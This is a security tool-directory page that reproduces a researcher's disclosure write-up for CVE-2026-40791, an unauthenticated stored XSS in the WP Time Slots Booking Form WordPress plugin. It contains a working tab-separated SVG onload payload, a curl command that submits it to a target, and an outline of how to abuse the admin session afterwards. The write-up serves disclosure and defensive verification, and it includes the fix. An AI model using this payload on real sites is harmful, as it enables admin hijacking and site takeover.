Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-40791-WP-Time-Slots-Booking-Form-XSS — CVE-2026-40791: Unauthenticated stored XSS in WP Time Slots Booking Form <= 1.2.46 | Kitploit
Tools/GitHubGitHub/rat5ak/cve-2026-40791-wp-time-slots-booking-form-xss
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration TestingLearning & Education
GitHubrat5ak/cve-2026-40791-wp-time-slots-booking-form-xss

CVE-2026-40791-WP-Time-Slots-Booking-Form-XSS

CVE-2026-40791: Unauthenticated stored XSS in WP Time Slots Booking Form <= 1.2.46

View Repository
22 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-40791: One Booking Slot to Admin XSS

I found an unauthenticated stored XSS in the WordPress WP Time Slots Booking Form plugin. A public booking submission controls part of the stored time-slot value. The plugin later prints that value into the administrator Booking Orders page without escaping it.

The trick is simple: the plugin splits the submitted appointment string on literal spaces, but HTML treats a tab as whitespace between a tag name and an attribute. So 8:<svg[TAB]onload=...> survives the plugin parser as the slot value, then becomes real markup when the admin opens the booking list.

CVECVE-2026-40791
PluginWP Time Slots Booking Form
Slugwp-time-slots-booking-form
Affected<= 1.2.46
Fixed1.2.47
Bug classUnauthenticated stored XSS (CWE-79)
ImpactPublic booking -> JavaScript in admin wp-admin session
CVSS7.2 High (Wordfence), 7.1 (Patchstack)
CreditDaniel Wade

TL;DR

The public booking form accepts this field:

root@kitploit:~
fieldname1_1=2026-04-15 8:<svg[TAB]onload=alert(document.cookie)> 1 0 0 0 0 0 0

The plugin parses it like this:

root@kitploit:~
$item_split = explode(' ', $app_item_text);
...
'slot' => $item_split[1],

Because the separator is a tab, not a literal space, item_split[1] becomes:

root@kitploit:~
8:<svg onload=alert(document.cookie)>

That slot value is serialized into the booking. When an administrator opens Booking Orders, version 1.2.46 prints it here:

root@kitploit:~
'<span class="ahb-time">'.$this->format_date($posted_data["apps"][$k]["date"]).' '.$posted_data["apps"][$k]["slot"].'</span>' .
...
echo $appts.'</div><div style="display:none">'.$data; // phpcs:ignore WordPress.Security.EscapeOutput

No escaping. The SVG onload fires in the admin page.

This is not just "can I read the admin cookie?" Modern WordPress auth cookies are normally HttpOnly, so document.cookie may not expose the real wordpress_sec_* cookie. The important part is that the script is running in an authenticated admin-origin page. It can fetch same-origin admin pages, read exposed nonces, and send authenticated admin requests from the victim browser.

The Bug

The vulnerable flow:

root@kitploit:~
unauthenticated POST
    -> fieldname1_1
    -> extract_appointments()
    -> explode(' ', $input)[1]
    -> $apps[]['slot']
    -> serialize()
    -> wp_cptslotsbk_messages.posted_data
    -> unserialize()
    -> Booking Orders appointment badge
    -> unescaped HTML output

The parser assumes the time slot is just text. It is not. It is attacker input that later lands in an HTML context.

The vulnerable sink is in cp-admin-int-message-list.inc.php:

root@kitploit:~
$appts .= '<div class="ahb-appointment-badge">' .
          '<span class="dashicons dashicons-clock"></span>' .
          '<span class="ahb-time">'.$this->format_date($posted_data["apps"][$k]["date"]).' '.$posted_data["apps"][$k]["slot"].'</span>' .
          ...

echo $appts.'</div><div style="display:none">'.$data; // phpcs:ignore WordPress.Security.EscapeOutput

That phpcs:ignore WordPress.Security.EscapeOutput is the whole story in one line. The escaping warning was suppressed where attacker-controlled booking data was being printed.

Triggering It

The payload shape:

root@kitploit:~
8:<svg[TAB]onload=alert(document.cookie)>

Why it works:

root@kitploit:~
PHP explode(' ', ...)
    "8:<svg<TAB>onload=...>" stays one token

Browser HTML parser
    <svg<TAB>onload=...> becomes <svg onload=...>

The slot parser gets the value it expects. The browser gets the tag it knows how to execute.

PoC

PowerShell:

root@kitploit:~
.\poc\reproduce.ps1 -Target "http://127.0.0.1" -PageId 2

Bash:

root@kitploit:~
./poc/reproduce.sh "http://127.0.0.1" 2

Manual curl:

root@kitploit:~
TAB=$'\t'
TARGET="http://127.0.0.1"
PAGE_ID="2"

curl -i -sS "$TARGET/?page_id=$PAGE_ID" \
  --data-urlencode "cp_tslotsbooking_pform_process=1" \
  --data-urlencode "cp_pform_psequence=_1" \
  --data-urlencode "cp_tslotsbooking_id=1" \
  --data-urlencode "fieldname1_1=2026-04-15 8:<svg${TAB}onload=alert(document.cookie)> 1 0 0 0 0 0 0" \
  --data-urlencode "fieldname2_1=John Doe" \
  --data-urlencode "[email protected]" \
  --data-urlencode "fieldname4_1=1234567890" \
  --data-urlencode "cp_ref_page=$TARGET/?page_id=$PAGE_ID" \
  --data-urlencode "form_structure_1=" \
  --data-urlencode "refpage_1=" \
  --data-urlencode "cp_tslotsbooking_pform_status="

Expected result:

root@kitploit:~
HTTP/1.1 302 Found

Then log in as an administrator and open:

root@kitploit:~
WP Time Slots Booking Form -> Booking Orders

The payload runs when the stored booking row is rendered.

Evidence

I validated the full chain in a disposable local WordPress lab:

root@kitploit:~
PHP 8.3.31 for Windows
MariaDB 11.4.12 on 127.0.0.1
WordPress
WP Time Slots Booking Form 1.2.46
CAPTCHA disabled on form 1
Public page with [CP_TIME_SLOTS_BOOKING id="1"]

The PowerShell PoC submitted cleanly:

root@kitploit:~
HTTP status: 302

The payload landed in wp_cptslotsbk_messages.posted_data:

root@kitploit:~
slot";s:69:"8:<svg\tonload=document.body.setAttribute('data-cve40791','executed')>"

Headless Chrome then logged in as administrator, opened Booking Orders, and saw the marker set by the stored SVG handler:

root@kitploit:~
ADMIN_XSS_EXECUTED

I also tested the same stored malicious rows after replacing the plugin with 1.2.47. The admin page rendered the payload as escaped text:

root@kitploit:~
04/15/2026 8:&lt;svg onload=...&gt;

No marker fired:

root@kitploit:~
PATCHED_NO_XSS_EXECUTION

There is also a small local render sanity check:

root@kitploit:~
powershell -NoProfile -ExecutionPolicy Bypass -File .\lab\validate-render.ps1

It verifies the two mechanical parts without a full WordPress install:

root@kitploit:~
Parser check OK: literal-space split preserves tabbed SVG in slot index 1.
Browser check OK: tab-separated unquoted SVG onload executed in rendered HTML.

Impact

The attacker does not need an account. The attacker submits a public booking and waits for an administrator to view Booking Orders.

Once the admin views that page, the attacker's JavaScript runs inside the administrator's WordPress origin. A real attacker would usually not stop at alert(document.cookie). They would use the admin browser as the admin:

root@kitploit:~
fetch admin pages
    -> read nonces from HTML
    -> submit authenticated admin POSTs
    -> change site state

Depending on the administrator's capabilities and site configuration, that can mean creating users, changing plugin settings, modifying notification destinations, reading booking/customer data, or escalating toward full site takeover through plugin/theme functionality.

The Fix

Version 1.2.47 escapes the stored slot before building the admin badge:

root@kitploit:~
- ' '.$posted_data["apps"][$k]["slot"].'</span>'
+ ' '.esc_html($posted_data["apps"][$k]["slot"]).'</span>'

That fixes the sink. Sanitizing earlier would also be reasonable, but the security boundary is the HTML output context in the admin page.

Repository Structure

root@kitploit:~
poc/
    reproduce.ps1          # PowerShell unauthenticated booking submitter
    reproduce.sh           # Bash/curl unauthenticated booking submitter
lab/
    render-check.html      # Minimal vulnerable render fixture
    validate-render.ps1    # Parser + browser execution sanity check
README.md

Timeline

DateEvent
2026-03-24Reported to Patchstack
2026-04-13Patch validated
2026-04-23Wordfence published advisory
2026-04-24Patchstack published advisory
2026-04-30Wordfence last updated entry

Resources

  • Wordfence advisory: https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/wp-time-slots-booking-form/wp-time-slots-booking-form-1246-unauthenticated-stored-cross-site-scripting
  • Patchstack entry: https://patchstack.com/database/vulnerability/wp-time-slots-booking-form/wordpress-wp-time-slots-booking-form-plugin-1-2-46-cross-site-scripting-xss-vulnerability
  • WordPress plugin: https://wordpress.org/plugins/wp-time-slots-booking-form/
  • WordPress auth cookie source: https://developer.wordpress.org/reference/functions/wp_set_auth_cookie/
  • Vulnerable source: https://plugins.svn.wordpress.org/wp-time-slots-booking-form/tags/1.2.46/
  • Fixed source: https://plugins.svn.wordpress.org/wp-time-slots-booking-form/tags/1.2.47/

Disclaimer: This PoC is published for defensive research and verification after patch availability. Do not use it against systems you do not own or have explicit authorization to test.

CVE-2026-40791 - Fixed in WP Time Slots Booking Form 1.2.47. Affected: 1.2.46 and earlier.

Daniel Wade - GitHub - Twitter/X - Bluesky - Mastodon - Medium - nadsec.online

Download Tool